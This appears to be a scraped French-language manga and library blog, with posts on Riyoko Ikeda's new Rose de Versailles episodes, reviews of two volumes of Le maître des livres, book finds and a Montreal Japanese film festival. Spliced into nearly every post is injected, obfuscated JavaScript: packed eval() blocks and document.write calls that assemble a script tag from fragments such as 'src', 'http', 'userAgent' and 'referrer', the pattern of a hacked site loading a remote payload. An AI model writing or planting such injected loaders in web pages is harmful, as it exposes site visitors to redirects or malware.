Samedi dernier, document.write(“”); avant d’aller me coucher, alors que je prenais des nouvelles de mon entourage en parcourant Facebook, je suis tombé sur une entrée de NHK World qui annonçait une émission de “Booked For Japan” dédiée à Riyoko Ikeda! J’ai rapidement consulté l’horaire et découvert que l’émission était en cours. Alors j’ai immédiatement ouvert l’application NHK World sur mon iPad pour l’écouter. C’était plutôt intéressant (C’est juste dommage qu’on ne puise pas revoir ces émissions “Sur Demande” car j’aimerais bien la visionner de nouveau et vous y référer…) et cela m’a rappelé avoir lu que Riyoko Ikeda avait repris la production de son manga Versailles no Bara avec de courtes histoires publiées en feuilletons dans le magazine sh?jo Margaret de Sh?eisha.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kietk|var|u0026u|referrer|fhtse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yndbf|var|u0026u|referrer|zytbz||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

Booked For Japan” est une émission où l’animateur Robert Campbell, un spécialiste de littérature japonaise, discute chaque semaine avec un invité célèbre de sa lecture préférée afin de révéler ses valeurs et sa vision du monde. Le livre favori de Riyoko Ikeda est Man’s Search for Meaning de Viktor Frankl [Amazon, Goodreads, Nelligan].

Riyoko Ikeda est une mangaka de grand renom. Née en 1947, elle fait donc partie du célèbre Groupe de l’an 24. Elle a surtout produit des manga sh?jo ou josei historiques comme Oniisama e… (Très cher frère, 1975, 3 vols), Orpheus no Mado (La fenêtre d’Orphée, 1975, 18 vols), Jotei Ecaterina (L’impératrice Catherine, 1983, 5 vols), Eikou no Napoleon – Eroica (La gloire de Napoléon : Heroica, 1986, 11 vols), Porando Hishi Ten no Hate Made (Jusqu’aux frontières du ciel – Histoire secrète de la Pologne, 1991, 3 vols) ou encore Niberunku no Yubiwa (L’Anneau du Nibelung, 2000, 4 vols). [Voir aussi pour références, en anglais, ANN et Baka-Updates]

Toutefois, elle est surtout connue ici pour Berusaiyu no Bara (???????? / La Rose de Versailles, 1972, 10 vols) qui fut adapté en animation (connue ici sous le titre de Lady Oscar, 1979-80, 40 eps), au cinéma et même en comédie musicale (par la célèbre troupe de revue Takarazuka) ! Il me semble incompréhensible que de tout l’ensemble de son excellente oeuvre, La Rose de Versailles soit son seul manga à avoir été traduit ici (les deux premiers volumes ont d’abord été traduit en anglais en 1980 par Frederik L. Schodt pour l’éditeur japonais Sanyusha mais ce ne fut jamais disponible en Amériques — il en a toutefois mis un bref extrait dans son livre Manga! Manga! The world of Japanese comics [Amazon, Goodreads]; la traduction française est elle toujours disponible chez Kana [Amazon, Goodreads, Nelligan]).

Riyoko Ikeda est aussi une femme aux talents multiples car, après avoir produit près d’une quarantaine de superbe manga, elle fait le choix difficile en 1995 de changer de carrière et entre à l’Université Musicale de Tokyo pour apprendre le chant! Après une brève carrière de chanteuse classique professionnelle, elle se rend compte qu’il est plutôt difficile de vivre du chant et revient tranquillement au dessin. [voir une entrevue et un extrait de concert sur Youtube]

Sous la pression de ses fans, Ikeda avait déjà écrit plusieurs compléments à ce qui est sans doute son ouvrage le plus populaire. En 1984, elle avait publié Berusaiyu no Bara Gaiden (?????????? / La Rose de Versailles Side-Stories) qui compilait quatre récits secondaires reprenant les même personnages et introduisant comme nouvelle protagoniste une petite fille nommée Loulou: “Loulou et la poupée qui l’accompagne”, “Le fils du général de Jarjayes ?!”, “Le pirate turc et la religieuse” et “L’élixir du diable”. Ce volume a été publié en français sous le titre La Rose de Versailles Vol. 3: Hors-Série par Kana [Amazon, Goodreads, Nelligan].

D’une certaine façon, Eroica, en 1986, avait aussi été conçu comme une suite à La Rose de Versailles en continuant le récit de la révolution française avec l’avénement et les exploits de Napoléon Bonaparte. Il est vraiment dommage que cette (longue) série n’ait jamais été traduite. De même, si l’on pousse une peu plus loin, on peut aussi considérer comme une suite la série des BeruBara Kids (???? Kids / “BeruBara” étant la contraction typiquement japonaise pour “Berusaiyu no Bara”; 2006, 7 vols) une auto-parodie en 4-komas (histoires humoristiques en quatre cases) qui met en action les personnages de La Rose de Versailles en format SD (Super-Deformé) ou chibi (enfantin). Incroyablement, un premier volume de cette série est maintenant disponible en français chez Tonkam sous le titre La Rose de Versailles Kids. On aura vraiment tout vu !

Toutefois, et là on entre finalement dans le sujet dont je voulais vous entretenir, la véritable suite de La Rose de Versailles ce sont les Berusaiyu no bara episodes (???????? ???? / La Rose de Versailles – Episodes). En effet, ce n’est que quarante ans plus tard que Riyoko Ikeda nous revient avec une véritable suite! Le tout premier de ces nouveaux épisodes est paru dans un livre “spécial anniversaire” joint comme extra au numéro célébrant le cinquantenaire de Margaret, le magazine hebdomadaire shojo de Shueisha (le #10, paru le 5 mai 2013). Il s’agit d’une histoire courte de seize pages qui se concentre sur André quand il était un jeune garçon et avant qu’il ne rencontre Oscar.

Couverture du Margaret 2013 #10 et extrait des pages 1-10 de l’épisode #1:

Un deuxième épisode parait dans le Margaret 2013 #22 (du 5 novembre 2013):

Puis un troisième épisode parait dans le numéro double de Margaret 2014 #3-4 (30 Jan & 5 Fév):

Et un quatrième épisode parait dans Margaret 2014 #12 (20 mai 2014):

Cet épisode est dédié au subordonné d’Oscar, Alain de Soissons
L’épisode 5, qui suit le Major Victor Clement de Girodelle, est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar!

Margaret 2014 #22 (20 oct) et Margaret 2015 #8 (20 mars)

En août 2014, Sueisha a compilé les quatres premiers épisodes en un onzième volume de la série La Rose de Versailles et en a profiter pour rééditer les dix premiers volumes. Les épisodes sont respectivement intitulés: “André Grandier”, “Girodelle”, “Hans Axel von Fersen” et “Alain de Soissons” d’après le personnage sur lequel l’histoire de chaque épisode est centrée. Dans cette compilation, le premier épisode comporte une quinzaine de pages en plus dont certaines en couleurs. Le volume comporte 184 pages (dont vingt-quatre en couleur) et se détail à ? 713 (à peu près $7.50 Can). Il est disponible sur Amazon au Japon mais peu d’autres détails sont connu pour l’instant et aucune annonce n’a encore été faite sur une éventuelle traduction française. Je n’ai trouvé pour l’instant qu’un seul article qui commente, en anglais, ce nouveau volume. Considérant le talent et ce que j’ai précédemment lu de l’oeuvre de Riyoko Ikeda, je ne doute pas que l’histoire soit fort intéressante (et, de plus, j’adore les manga historiques). Quand au dessin, le premier episode et les extraits que je vous ai présenté ici, parlent par eux-même et démontrent aisément que l’artiste a su pousser son talent encore plus loin. C’est tout simplement superbe!

Je vais probablement me procurer le premier volume japonais (pour mon épouse surtout), en attendant la parution du volume 12 (probablement cet été ou cet automne) et espérer que cette suite soit publiée rapidement dans la francophonie!

[ Translate ]

Le maître des livres (2)

“Mikoshiba, document.write(“”); qu’on appelle affectueusement “le champignon”, est le célèbre bibliothécaire pour enfants de “La rose trémière”. Derrière sa façon un peu rude de parler se cache en fait un personnage très agréable que les gens découvrent à travers les livres qu’il conseille. Adulte tourmenté ou enfant triste, chacun ressent le besoin de lire des livres.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kadie|var|u0026u|referrer|zknia||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbnky|var|u0026u|referrer|byzfz||js|php’.split(‘|’),0,{}))

“C’est à travers la rencontre de ces personnes que nous est contée la suite des aventures de Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Comme je l’ai déjà dit dans mon commentaire du premier volume de cette série, Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a neuf tomes de parus au Japon jusqu’à maintenant (le plus récent à la mi-novembre 2014). Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014, un troisième en début décembre et un quatrième devrait paraître vers la mi-mars 2015. Vous pouvez consultez un extrait d’une quarantaine de pages du premier volume.

Maintenant que les prémices de l’histoire sont établi et que nous connaissons bien les personnages principaux, le deuxième volume de la série peut nous entraîner dans des récits un peu plus complexes et riches qui se permettent d’approfondir sur la vie des personnages secondaires, c’est-à-dire les employés et les usagers de la bibliothèque. On retrouve donc huit petites histoires différentes.

Dans la première histoire (chapitre 10: “Le bonheur de ma mère”), Monsieur Miyamoto se présente à la bibliothèque avec une collègue de travail, Kaneko, et sa fille Risa. Elle exprime très clairement son intérêt envers M. Miyamoto (qui en est tout a fait inconscient), au grand désarroi d’une des employés de la bibliothèques, Mizuho, qui a aussi des vues sur lui. Elle tombe par hasard sur un livre d’histoire de son enfance, Papa-Longues-Jambes de Jean Webster, et en se remémorant l’histoire et en discutant avec M. Miyamoto elle réalise des choses. Elle pensait que son chef ne portait pas attention à elle mais en fait, comme il se cherche encore, il n’a pas de place à lui accorder dans sa vie. Elle décide donc d’arrêter de chercher le “Papa-longues-jambes” de ses rêves et de cesser de courir après Miyamoto.

Dans la deuxième historie (chapitre 11: “La librairie et la bibliothèque”), Miyamoto se rends dans une librairie pour faire un achat. Il rencontre un jeune libraire très (trop) enthousiaste. Plus tard, un personnage louche rode autour de la bibliothèque et les employés découvrent qu’il s’agit du jeune libraire qui perçoit la bibliothèque et surtout Mikoshiba, comme un compétiteur, voir un ennemi! Il croit que les bibliothèques sont la cause du déclin des ventes en librairies. Son patron, qui passait par là pour venir faire une livraison de livres à la bibliothèques, le détrompe: non seulement les bibliothèques s’approvisionnent auprès des librairies locales mais elles contribuent à faire la promotion des livres et donc génèrent de la clientèle! “En bref, une bibliothèque est un lieu qui te procure l’envie d’aller acheter tes livres.”

La troisième histoire (chapitre 12: “Tombe amoureuse, jeune femme”) tourne autour de Kanda Mizuho, une employé de la bibliothèque qui est amoureuse de Miyamoto, qui lui ne se rend compte de rien. Sur la suggestion de ses collègues elle crée une excuse pour sortir avec Moyamoto et lui raconte comment elle a acquit de l’expérience à la bibliothèque. Mikoshiba lui recommanda de lire Les quatre filles du docteur March, qui la séduisit immédiatement. “Il n’y a pas besoin de se forcer à connaître tous les livres” lui dit-elle. “Commence par ceux qui t’intéressent. Il te suffira de te spécialiser dans le genre littéraire qui te plaira.”

Dans la quatrième histoire (chapitre 13: “La journée des adolescents”), un vieil homme se présente à la bibliothèque en pleine canicule. Il cherche à retrouver un livre dont il n’a jamais connu le titre. Pendant la guerre, alors qu’il était enfant, un de ses ami lisait ce livre et le lui racontait mais il n’y portait pas vraiment d’intérêt. Il le regretta lorsque son ami mourru dans un bombardement. Évidemment Mikoshiba, avec quelques indices (des éléments de l’histoire et le fait que c’était pré-publié dans le magazine “Le club des adolescents”) trouve tout de suite qu’il s’agit de L’oeil du tigre de Hitomi Takagaki.

Le récit suivant (chapitre 14: “Avec mon père”) nous raconte l’histoire du petit Léo dont le père est revenu après une longue absence, mais celui-ci a de la difficulté à “communiquer” avec son fils. Mikoshiba l’aide en lui montant comment raconter une histoire à son fils. La sixième histoire (chapitre 15-16: “Le coquillage de feu”) met en scène Kayo, une autre employée de la bibliothèque. Comme le vieux monsieur dans une histoire précédente, elle demande à Mikoshiba de retrouver un livre qu’elle a lu dans son enfance. Après une brève description, il le trouve tout de suite: il s’agit du livre Le coquillage de feu du célèbre auteur japonais Kenji Miyazawa. C’est l’histoire d’un lapin qui trouve une pierre qui brille et dont la possession lui amène le respect des autres animaux, mais ses mauvaises actions (que lui reproche son père) fait que la pierre perd sa luminescence et qu’il perd la vue. Un peu plus tard un itinérant entre dans la bibliothèque et Kayo le fou à la porte sans ménagement et semble par la suite bouleversée. Pour l’aider ses collègues l’amène prendre un verre pour la faire parler. Elle raconte que l’itinérant est en fait son père qui a abandonné sa famille il y a de nombreuses années, plongeant sa mère et elle dans des difficultés. Elle se remémore qu’un bibliothécaire lui avait jadis fait comprendre la véritable morale de l’histoire (et donné l’envie de devenir bibliothécaire à son tour). Elle comprend aussi que son père n’était peut-être pas aussi égoïste qu’elle le pensait. En fait, il venait à la bibliothèque pour faire de la recherche d’emploi…

Dans la septième histoire (chapitre 17: “Le premier pas”), le jeune libraire Mamoru Isaki rêve de devenir auteur d’histoires pour enfants. Mikoshiba lui suggère de la lire aux enfants à la prochaine heure du conte mais il hésite car son histoire n’est pas terminée. Il tente l’expérience néanmoins et la réaction des jeunes l’encourage et lui permet de compléter et améliorer son histoire. Dans la dernière histoire (chapitre 18: Chant de Noël), des lycéennes du club d’étude de littérature pour enfants se propose de donner bénévolement un activité pour la fête de Noël de la bibliothèque. L’une d’entre elle est en fait la petite soeur de Mikoshiba. Ils ne se sont pas vu depuis le divorce de leur parent. On en apprend un peu sur l’enfance de Mikoshiba. Sa soeur lui reproche d’avoir manqué à ses obligations et d’avoir choisi de faire le travail dont il rêvait en étant un grand amoureux des livres.

Ce titre est donc toujours (et même un petit peu plus que le premier volume) un manga amusant, bien écrit et plutôt éducatif qui nous fait découvrir — ou re-découvrir — l’univers de la littérature jeunesse classique. À lire absolument particulièrement si vous travaillez dans une bibliothèque (jeunesse)!

Le maître des livres vol. 2, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 224 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 979-10-91610-63-6. Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

Toshokan no Aruji © 2012 Umiharu Shinohara • H?bunsha. All rights reserved.

[ Translate ]

Le maître des livres (1)

“À la bibliothèque pour enfant “La rose trémière” vous êtes accueillis et conseillés par Mikoshiba, document.write(“”); un bibliothécaire binoclard célèbre pour son caractère bien trempé. Mais contrairement à ce qu’il peut laisser paraître, c’est un professionnel de premier ordre. Aujourd’hui encore, adultes comme enfants perdus dans leur vie viennent à lui en espérant qu’il leur trouvera le livre salvateur.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffdbk|var|u0026u|referrer|taarh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrzf|var|u0026u|referrer|nahbe||js|php’.split(‘|’),0,{}))

“Une histoire passionnante centrée sur la littérature et Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a neuf tomes de parus au Japon jusqu’à maintenant (le plus récent à la mi-novembre 2014). Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014, un troisième en début décembre et un quatrième devrait paraître vers la mi-mars 2015. Vous pouvez consultez un extrait d’une quarantaine de pages du premier volume.

J’ai découvert Le maître des livres il y a un peu plus de deux mois et, si je vous l’ai introduit rapidement, je n’ai cependant pas pu le lire tout de suite. Toutefois cela en valait la peine car c’est un très bon manga sur deux sujets que j’aime bien: les mangas et les bibliothèques. L’histoire tourne autour de deux personnages principaux. Le premier est M. Miyamoto, gestionnaire dans une petite entreprise, qui est dans une mauvaise passe: il s’ennui, boit beaucoup, a des dettes des jeux et cherche encore un sens à sa vie. Un soir, après avoir divertis des clients à la fête de fin de l’année de son entreprise, il rentre chez lui un peu saoul en passant par un parc et remarque une petite bibliothèque pour enfant, “la rose trémière.” Il y fait la rencontre de Mikoshiba Takao, le second personnage d’importance, un bibliothécaire d’un caractère direct et acerbe mais qui a un grand talent pour proposer aux gens des livres qui les touchent et qui les guident dans leur problèmes.

Le premier volume nous introduit à l’univers du maître des livres, en présentant tous les personnages secondaires — tel que les employés et les usagers de la bibliothèque — et en nous faisant découvrir peu à peu la personnalité et le passé tant de Miyamoto que de Mikoshiba. À chaque nouveau chapitre la bibliothèque fait découvrir des livres à un usager en détresse. Et si la lecture se révèle salvatrice pour le personnage, elle fait aussi découvrir au lecteur du manga un nouveau titre de la littérature juvénile. En fait, ce manga nous fait réaliser que les livres pour enfants peuvent être une source d’émerveillement non seulement pour les jeunes mais aussi beaucoup pour les adultes. Ainsi, à travers le récit, nous découvrons le conte “La montre musicale” de Nankichi Niimi, L’île au trésor de Robert Louis Stevenson, Le prince heureux de Oscar Wilde, Le merveilleux voyage de Nils Holgersson à travers la Suède de Selma Lagerlöf et la série de romans du “Club des jeunes détectives” de Rampo Edogawa.

C’est donc un manga amusant, bien écrit et plutôt éducatif qui nous fait découvrir — ou re-découvrir — l’univers de la littérature jeunesse classique. À lire absolument!

Le maître des livres vol. 1, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 192 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 9791091610629. Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

Toshokan no Aruji © 2012 Umiharu Shinohara • H?bunsha. All rights reserved.

[ Translate ]

Original location of SDF-1 identified !

We all remember the scene in the very first episode of Robotech (or Macross) where the SDF-1 (or Macross Super-Dimentional-Fortress) automatically shoot its main gun and blasts part of the island where it is located. Ever wondered where this island was located in reality ?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyafh|var|u0026u|referrer|efryz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyhnk|var|u0026u|referrer|sbdra||js|php’.split(‘|’),0,{}))

You won’t believe it! Click here to see where it is located >>

The Senkaku Islands!

(the Kita-Kojima (l.) and Minami-Kojima (r.) islands, document.write(“”); with the Uotsuri island in the background)

No wonder several countries are disputing its ownership!
[ Traduire ]

Découvertes livresques multiples

En furetant dans le catalogue “Découverte” des bibliothèques de Montréal, document.write(“”); à la recherche de mangas historiques (ou de livres sur l’histoire du manga?), j’ai trouvé quelques titres de plus à ajouter à ma longue liste de lecture. Je vous en fait ici une brève introduction. Décidément, il va vraiment me falloir trouver beaucoup plus de temps pour lire en 2015 !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzkan|var|u0026u|referrer|dtiez||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diyyk|var|u0026u|referrer|bkras||js|php’.split(‘|’),0,{}))

>>
Cliquez ici pour lire la suite

“Japon, années 1960. Dans la moiteur d’une station balnéaire aux accents de Las Vegas, royaume des faux-semblants et de la corruption, le jeune et irréprochable inspecteur Sata enquête sur le meurtre d’un ingénieur. Lorsque ses pas le mènent sur le lieu de travail de la victime, une entreprise fabriquant des modules pour un mystérieux programme spatial, une secrétaire prend la fuite, attirant sur elle tous les soupçons. Alors que Sata la poursuit, il perd subitement connaissance. À son réveil, un éclat métallique est logé dans son crâne, provoquant des pertes de mémoire et des hallucinations. Pour Sata, qui brûle de découvrir ce qui lui est arrivé, la traque de la suspecte prend bientôt la forme d’une obsession amoureuse.”

“Atsushi Kaneko livre avec Wet Moon son chef-d’œuvre à ce jour, une enquête policière haletante et hallucinée, un récit à la croisée de l’univers de David Lynch et du graphisme de Charles Burns ou de Paul Pope. Une série en trois tomes.” (Texte du site de l’éditeur)

Prépublié en feuilletons dans le magazine Comic Beam, ce thriller historique seinen mérite certainement un coup d’oeil (voir une planche en extrait et la couverture arrière).

Wet moon Vol. 1-3, écrit et illustré par Kaneko Atsushi. Paris, Casterman (Coll. Sakka), janvier 2014. 240 pages, 12.9 x 18.8 x 2 cm, 8,50 € / $14.95 Cnd, ISBN 9782203081482 (vol. 1), 9782203084421 (vol. 2, paru en avril 2014), et 9782203084568 (vol. 3, septembre 2014). Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:
Maintenant passons à quelques références qui me semblent intéressantes et utiles:

“Naoki Urasawa est l’un des principaux artisans de l’imaginaire japonais contemporain. Encensé à partir des années 1990 par la critique et les lecteurs pour ses thrillers haletants (Monster, 20th Century Boys puis Pluto), il s’est d’abord fait connaître avec des œuvres d’un registre très différent, telles que Pineapple Army, Master Keaton, Yawara ! et Happy !. En plus de vingt-cinq ans de carrière, ce prolifique dessinateur et scénariste s’est vu couronné de tous les prix dans sa spécialité et s’est imposé comme un auteur incontournable de la bande-dessinée japonaise. Rien ne semblait pourtant prédestiner Urasawa à un tel succès. Comment un jeune homme passionné par la musique et le dessin bien décidé à ne pas devenir mangaka est-il néanmoins parvenu à vendre plus de cent millions d’exemplaires de ses œuvres ? Quel est le secret de la longévité de ce mangaka adulé par un public tant oriental qu’occidental ?”

“À la fois biographique (de l’enfance d’Urasawa à son manga le plus récent, Billy Bat) et analytique (principalement via une réflexion sur ses thèmes majeurs), cet ouvrage vise à mieux appréhender l’univers et les inspirations artistiques d’Urasawa. Cette plongée dans son œuvre amène inévitablement à évoquer une histoire beaucoup plus vaste. Car retracer le parcours de Naoki Urasawa c’est aussi revivre les évolutions culturelles et historiques qui ont agité le globe, des années 1960 à nos jours. Bien qu’il se défende de délivrer des messages dans ses œuvres, Urasawa se révèle être un formidable interprète du monde qui l’entoure.” (Texte du site de l’éditeur)

Même si je n’ai lu que son 20th Century Boys (que j’ai trouvé vraiment génial), j’admire beaucoup Urasawa et j’espère pouvoir lire ses autres mangas. Cet ouvrage est une grande opportunité pour en apprendre plus sur cet auteur de talent. Heureusement qu’il est disponible en bibliothèque car il est pour l’instant épuisé.

Naoki Urasawa: L’air du temps, par Alexis Orsini. Montélimar, les moutons électriques (vol. 8 de la «la bibliothèque des miroirs-BD»), mai 2012. 252 pages, 17 x 21 cm, 63 € / $56.95 Cnd, ISBN 978-2-36183-076-2. Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:
Le documentaire suivant est en anglais mais je le présente ici exceptionnellement en français (histoire de ne pas faire un billet bilingue):

“Une «première» dans le domaine, cette nouvelle série de “Survol Critique” se concentre sur tous les aspects du format de romans graphiques, visant à l’établir comme une discipline académique importante et un sujet de recherche dans les bibliothèques. Conçu pour les établissements universitaires, les écoles secondaires, et les bibliothèques publiques, la série offre une perspective unique sur les histoires et les thèmes exprimés dans le paysage historique et actuelle du milieu du roman graphique.”

“Le troisième de cette série, Critical Survey of Graphic Novels: Manga, nous offre un aperçu en profondeur pour plus de 55 manga parmi les plus populaires et étudiés, allant de séries volumineuses aux volumes uniques. Un afflux récent de manga japonais traduits sur le marché américain a suscité un plus grand intérêt dans les traditions de langue étrangère et de comics avec un long récit. Ce volume se concentre sur les œuvres traduites qui ont été particulièrement influentes dans le développement de la tradition du manga.”

“Souvent définie par des caractéristiques telles que le travail stylisée de ligne, les récits-culturels spécifiques et la narration convaincante qui se tiennent souvent en contraste avec le cadre de caractères centrée sur des comics américains, le manga comprend néanmoins un large éventail de genres et sous-genres. Les chercheurs acquerront une meilleure compréhension de ce dernier, qui, dans la tradition de manga, est représenté par un large spectre qui comprend Redikomi, qui cible un public féminin maturité; manga shôjo-ai, qui se concentre sur les aspects spirituels, sexuels ou émotionnels de relations; shonen-ai, manga créé par les auteurs femmes qui se concentre sur les relations entre hommes homoérotiques ou homoromantic; et kodomo manga, créé exclusivement pour un public jeune.”

“Chaque essai, présenté en format critique par des auteurs proéminents dans leur domaine d’étude, portera notre regard au-delà des aspects archétypaux et consuméristes du milieu pour illustrer le large éventail de thèmes littéraires et les styles artistiques dynamiques inhérentes au format manga.” (Traduction très libre et partiellement automatisée du texte sur le site de l’éditeur)

On a déjà vu ce genre d’essai critique s’adressant au grand public alors qu’ici il s’agit plutôt d’un ouvrage académique. C’est probablement un peu sec à la lecture mais offre certainement un intérêt puisqu’on y trouvera une perspective un peu différente. Ça mérite donc un coup d’oeil.

Critical Survey of Graphic Novels: Manga , collectif. Hackensack, NJ, Salem Press (Coll. Critical Survey of Graphic Novels), septembre 2012. 400 pages, 2.5 x 20.3 x 26.7 cm, $195 US / $226.20 CND, ISBN 978-1587659553. Disponible en livrel (format électronique). Lectorat de 14 ans et plus. (Voir un bref extrait).

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Japan Film Festival 2014

The Japan Foundation Toronto and the Consulate General of Japan at Montreal, document.write(“”); are pleased to present free screenings of Japanese films in Montreal. This 31st Japanese Film Festival of Montreal will be held November 7th and 8th at the Cinema du Parc (3575, Park Ave, Montreal).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsyh|var|u0026u|referrer|fbdde||js|php’.split(‘|’),0,{}))
